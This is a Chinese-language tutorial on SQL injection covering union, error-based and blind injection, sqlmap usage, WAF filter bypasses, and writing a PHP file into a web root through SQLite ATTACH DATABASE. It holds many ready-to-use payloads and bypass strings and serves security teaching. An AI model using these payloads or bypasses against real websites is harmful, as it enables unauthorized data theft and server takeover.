Web安全基础篇——SQL注入

Web安全基础篇——SQL注入
Audience注入原理
SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。SQL注入常出现在登录,搜索等功能,凡是与数据库交互的地方都有可能发生SQL注入。
SQL可分为平台层注入和代码层注入。平台层注入:由于不安全的数据库配置或数据库平台的漏洞导致;代码层注入:程序员对输入没有细致地过滤,从而执行了非法地数据查询。
漏洞危害
1.绕过登录验证:使用万能密码登录网站后台等。
2.获取敏感数据:获取用户或网站管理员帐号、密码等。
3.文件系统操作:读取、写入文件等。
4.执行系统命令:提权获取远程执行命令。
利用方式
SQL
注入根据注入点可以分为数值型注入和字符型注入。根据注入方式可以分为联合查询,报错注入,布尔盲注,时间盲注,二次注入,堆叠注入,宽字节注入和HTTP Header
注入,其中HTTP Header
注入又分 Referer注入 ,Cookie注入 和 User-agent注入,时间盲注又有一种替代方式,叫带外注入。
前期分析判断
判断注入类型
数字型
当输入的参数为整形时,若存在注入漏洞,则是数字型注入。
如:https://blog.csdn.net/aboutus.php?id=1
,此时后台语句:$sql="SELECT 123 FROM abc WHERE id=1"
。
检测方法:URL输入 1 and 1=2
报错则说明有注入。
字符型
当输入参数为字符串时,称为字符型注入。它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。
例:https://blog.csdn.net/aboutus.php?id=1'
,此时后台语句:$sql = "SELECT 123 FROM abc WHERE id='1''"
。此时多出了一个单引号,破坏了原本的SQL
语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。此时通过 -- +
把后面的单引号注释掉,SQL
语句也会形成闭合。
查询字段
1 | ?id=1' order by 3 |
order by查询的是改数据表的字段数量。
访问id=1' order by 3
结果与id=1
结果相同,访问id=1' order by 4
结果与id=1
结果不相同,说明字段数为3。
确定回显点
1 | ?id=-1' union select 1,2,3 |
根据字段数构造语句判断回显。
联合查询
基础查询信息
information_schema 数据库
是 MySQL
自带的信息数据库。用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
SCHEMATA 表
存储当前mysql
实例中所有数据库的信息。包含所有数据库的列表以及有关这些数据库的信息,如默认字符集、默认排序规则等。
SCHEMA_NAME:数据库的名称。
DEFAULT_CHARACTER_SET_NAME:数据库的默认字符集。
DEFAULT_COLLATION_NAME:数据库的默认排序规则。
TABLES 表
存储数据库中的表信息(包括视图),包含所有数据库中的表信息,如表名、表类型(如 BASE TABLE
、VIEW
等)、存储引擎、创建时间、更新时间等。
- TABLE_SCHEMA:表所在的数据库的名称。
- TABLE_NAME:表的名称。
- TABLE_TYPE:表的类型。常见的值有 BASE TABLE(表示一张普通表)、VIEW(表示一个视图)和 SEQUENCE(表示一个序列)。
- ENGINE:表的存储引擎(例如InnoDB、MyISAM)。
- DATA_LENGTH:表的数据文件的长度(以字节为单位),表示实际表数据占用的空间。
- TABLE_COMMENT:对表的注释。
COLUMNS 表
包含所有表的列信息,如列名、数据类型、是否允许为 NULL、默认值、字符集、排序规则等
- TABLE_SCHEMA: 包含该列的表所在的数据库的名称。
- TABLE_NAME: 包含该列的表的名称。
- COLUMN_NAME: 列的名称。
- ORDINAL_POSITION: 列在表中的位置。
- DATA_TYPE: 列的数据类型。
拓展一些其它可查询的信息:
1 | @@hostname #主机名称 |
常用注入语句
1 | select group_concat(schema_name) from information_schema.schemata #查询所有数据库 |
group_concat函数首先根据group by
语句指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。没有group by
则将所有查到的信息连接起来,返回一个字符串结果。
limit n,m
中的第一个参数n表示的游标的偏移量,初始值为0,第二个参数m表示的是想要获取多少条数据。所以limit 0,1表示的是从第一条记录开始,只取一条即可。limit 1表示的也是只取一条数据,也就是说limit 0,1从结果上来说是等价与limit 1。
报错注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。前提是页面上没有显示位,但是必须有SQL
语句执行错误的信息。
优点:不需要显示位,如果有显示位建议使用union
联合查询。缺点:需要有SQL
语句的报错信息。
基本步骤
- 构造目标查询语句
- 选择报错注入函数
- 构造报错注入语句
- 拼接报错注入语句
常见的报错注入函数
1 | floor(); |
updatexml()
MySQL提供了一个updatexml()
函数:updatexml(xml_doument, XPath_string, new_value)
。
- 第一个参数:XML的内容。
- 第二个参数:是需要update的位置XPATH路径。
- 第三个参数:是更新后的内容。
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式。
当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
1 | id=1' and updatexml(1,concat(0x7e,database()),3) -- d |
0x7e
等价于 ~
,参数2包含特殊符号 ~
,触发数据库报错,并将参数2的内容显示在报错信息中。
concat()
函数:
- 功能:将多个字符串连接成一个字符串。
- 语法:
concat(str1, str2, …)
。 - 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
如果我们在参数2
的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中。
updatexml()
函数的报错内容长度不能超过32个字符,常用的解决方式有两种:
limit
分页substr()
截取字符
常用注入语句
1 | #limit分页 |
常见问题:报错的回显最大位数为32位,此时我们只获得了32位,需要用substr函数进行分割读取。
1 | substr(obj,start,length) |
参数
- obj:从哪个内容中截取,可以是数值或字符串。
- start:从哪个字符开始截取(1开始,而不是0开始)
- length:截取几个字符(空格也算一个字符),如果不写则默认截取后面所有字符。
布尔盲注
使用情况
- 没有返回SQL执行的错误信息
- 错误与正确的输入,返回的结果只有两种
操作步骤
在SQL注入过程中,由于没有显示位于报错信息,所以会用到截取字符串函数进行数据的提取,所往往需要一个一个字符去猜。
第一步:获取当前数据库的长度
payload为:
1 | 1' and length(database())=7-- + |
查看返回结果(需要自己试,也可以是用bp工具,也可以使用>
、<
符号)。
第二步:获取数据库库名
获取当前数据库名字字符,数据量太大,需要用到bp工具。
payload为:
1 | 1' and substr((select database()),1,1)='a' -- + |
substr()
为截取字符串函数,第一个参数为我们的SQL语句,第二个参数1表示从第一个字符开始,第三个参数表示截取一个字符。
这样不断尝试26个字母,找出库名。
如果要获取所有数据库库名,先查询整个payload为:
1 | 1' and length((select group_concat(schema_name)from information_schema.schemata))=50-- + |
然后一次查询各个字符:
1 | 1' and substr((select group_concat(schema_name)from information_schema.schemata),1,1)='a'-- + |
由于数据库名称可能含有_
下划线,爆破时应该加上下划线字符。查询所有数据库时包括连接符,
。
其他函数进行布尔盲注
left()函数
语法:left (string,n)
,string为要截取的字符串,n为长度。
payload:name=lili' and left((select database()),1)='p'-- +
。
mid()函数
语法:mid(string, start[, length])
string为要提取字符的字段,start为开始截取位置(起始值是1),length为截取的长度(可选,默认余下所有字符)。
char(x)函数:将x的值转为所对应的字符。
payload:name=lili' and mid((select database()),1,1)=char(112)-- +
。
正则表达式 regexp
正则表达式语法: regexp ^[a-z]
表示字符串中第一个字符是在 a-z范围内。regexp ^a
表示字符串第一个字符是a。regexp ^ab
表示字符串前两个字符是ab。
payload:name=lili' and (select database()) regexp '^p'-- +
。
like函数
语法:Like ‘a%’表示字符串第一个字符是a。Like 'ab%'
表示字符串前两个字符是ab。
%表示为任意值。
payload:name=lili' and (select database()) like 'p%'-- +
。
if语句
语法:if(判断条件,正确返回的值,错误返回的值)。
注意数据库中的if
与后端if
不一样。
payload:name=lili' and 1 = if(((select database()) like 'p%'),1,0)-- +
。
表示如果if语句中的第一个参数为真,则输出第一个值1,不为真输出第二个值0。
时间盲注
使用情况
- 页面上没有显示位和
SQL
语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。 - 时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用
IF
语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。
注意事项
- 通常使用
sleep()
等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。 - 为了提高效率,通常在表达式判断为真时执行延时语句。
- 时间盲注语句拼接时无特殊要求,保证语法正确即可。
通过时间线判断sql
语句是否执行
sleep函数判断
payload:name=lili'and sleep(5)-- +
执行成功时间线为5s
。
通过时间盲注获取当前数据库
第一步:首先需要获取数据库长度
1 | name=lili’and if(length((select database()))=7,sleep(5),0)-- + |
如果注入语句length((select database()))=7
执行成功,则停止5秒,根据时间线判断可知数据库的字符长度为7。
第二步:获取当前数据库的库名
1 | name=lili‘and if(substr((select database()),1,1)='p',sleep(5),0)--+ |
根据时间线判断当前数据库的库名的第一个符为p
。
也可以使用上边布尔类型盲注的其他函数执行。
Sqlmap
基本使用
get方式
1 | 查所有数据库 |
Post方式
例如Post 数据为id=1
。
使用bp
进行抓包,将抓到的包保存在于本机的路径。如:c://windows/web/1.txt
。
然后使用保存的文件构造请求包注入。
1 | 查所以数据库 |
除了保存成文件,可以直接向post数据写在命令行中,如:post数据id=1存在注入:sqlmap -u "url" –data="id=1"
。另外,在表单中(如登陆页面),如果不知道那个参数存在注入,可以写:sqlmap -u "url" --forms
,然后一直点y即可。
参数总结
1 | -u 指定目标URL (可以是http协议也可以是https协议) |
–delay
有些web服务器请求访问太过频繁可能会被防火墙拦截,使用–delay就可以设定两次http请求的延时。
例如每隔10秒请求一次:--delay 10
。
–safe-url
有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用–safe-url 就可以每隔一段时间去访问一个正常的页面。
–level
level有5个等级,默认等级为1,进行Cookie测试时使用–level 2 ,进行use-agent或refer测试时使用–level 3 ,进行 host 测试时使用--level 5
。
Uagent
sqlmap
在对user-agent
注入的时候,得在文件中的user-agent的参数后面加上 *
。或者不加 *
号,调用 –level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入。
Referer
对Referer注入和User-agent相同,要么是在Referer后面加上 *
,或者将 level 调至 3 级。
–Cookie
当需要进行注入的页面需要登录时,我们得带上Cookie信息。
1 | sqlmap -u [“url”] --cookie ["cookie信息"] --level 2 |
绕过总结
空格绕过
%09
:Tab键(水平)%0a
:新建一行%0c
:新的一页%0d
:return功能%0b
:Tab键(垂直)%a0
:空格/**/
:空格++
:代替空格
使用URL编码的方式必须要在有中间件的网站上使用,直接使用sql语句进行查询是没办法解析的。
大小写绕过
将字符串设置为大小写,例如and1=1
转成AND1=1
或者AnD 1=1
。mysql默认是不区分大小写的。
引号绕过
如果waf拦截过滤单引号的时候,可以使用双引号,在mysql里也可以用双引号作为字符。
1 | select * from users where id="1" |
也可以将字符串转成16进制再进行查询。
1 | select hex('admin') |
如果gpc开启了,但是注入点是整型,也可以用hex十六进制进行绕过。
去重复绕过
在mysql查询可以使用distinct关键词去除查询的重复值,可以利用这点突破waf拦截。
1 | select * from users where id=-1 union distinct select 1,2,version() from users |
反引号绕过
在mysql可以使用反引号绕过一些waf拦截,字段可以加反引号或者不加,意义相同。反引号前面不加空格也是可以的。
or、not和and绕过
- and 等于&&
- or 等于 ||
- not 等于 !
注意:在url使用逻辑运算符的时候要url编码。
双写绕过
有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。若删除掉第一个匹配的 union 就能绕过。
1 | id=-1 UNIunionON SeLselectECT 1,2,3# |
到数据库里执行会变成正常语句。
sqlite数据库注入
sql注入的方式基本上是差不多的,但是不同的数据库服务需要查询的表不同。在sqlite数据库中需要查询sqlite_master表。
sqlite库操作
SQLite没有数据库这个概念,而是通过一个文件代表一个数据库的方式来存储数据。
创建数据库,直接在cmd命令窗口输入命令:
1 | sqlite3 DatabaseName.db |
进入sqlite3命令行执行模式后输入:
1 | .open DatabaseName.db |
如果当前目录下DatabaseName.db
文件存在,则相当于Mysql中的use DatabaseName
;否则,将创建DatabaseName.db
文件,并且执行use DatabaseName
。
检查数据库
可以通过.database
命令检查新建的数据库是否保存在数据库列表中。
附加数据库:附加一个数据库,相当于当前可用使用这个数据库下所有的表,如果该数据库文件不存在,则会新建这个文件。
1 | ATTACH DATABASE '新的数据库文件.db' as '别名'; |
常见查询
查询所有表。
1 | SELECT tbl_name FROM sqlite_master WHERE type = 'table'; |
sqlite_master表
1 | CREATE TABLE sqlite_master ( |
这是一张数据库的伴生表,该表会自动创建,是用来存储数据库的元信息的,如:表(table),索引(index),视图(view),触发器(trigger)。
字段 | 说明 |
---|---|
type | 记录项目的的类型,如table、index、view、trigger |
name | 记录项目的名称,如表名、索引名等 |
tbl_name | 记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身 |
rootpage | 记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL。 |
sql | 记录创建该项目的SQL语句 |
扩展函数
一些攻击常用的函数。
sqlite_version()
:存储sqlite的版本信息randomblob(1000000000)
:用来代替sleep()
函数
写shell
前提:必须知道WEB路径和拥有写入权限。
原理:
- 在附加数据库的时候,如果数据库文件不存在,则会创建数据库文件,且新建文件后缀和位置可控。
- 数据库存储的数据会以明文的方式保存在文件中
步骤:
附加数据库,指定保存数据库的文件和后缀,假设我们已知网站绝对路径为
D:\Server\phpstudy\PHPTutorial\WWW
。则执行语句:1
ATTACH DATABASE 'D:\\Server\\phpstudy\\PHPTutorial\\WWW\\sqliteShell.php' AS test;
创建一个在附加数据库中的表格
1
create TABLE test.exp(shell text);
在表格中插入需要远程执行的代码,这里就以
<?php phpinfo();?>
为例。1
insert INTO test.exp VALUES ('<?php phpinfo();?>');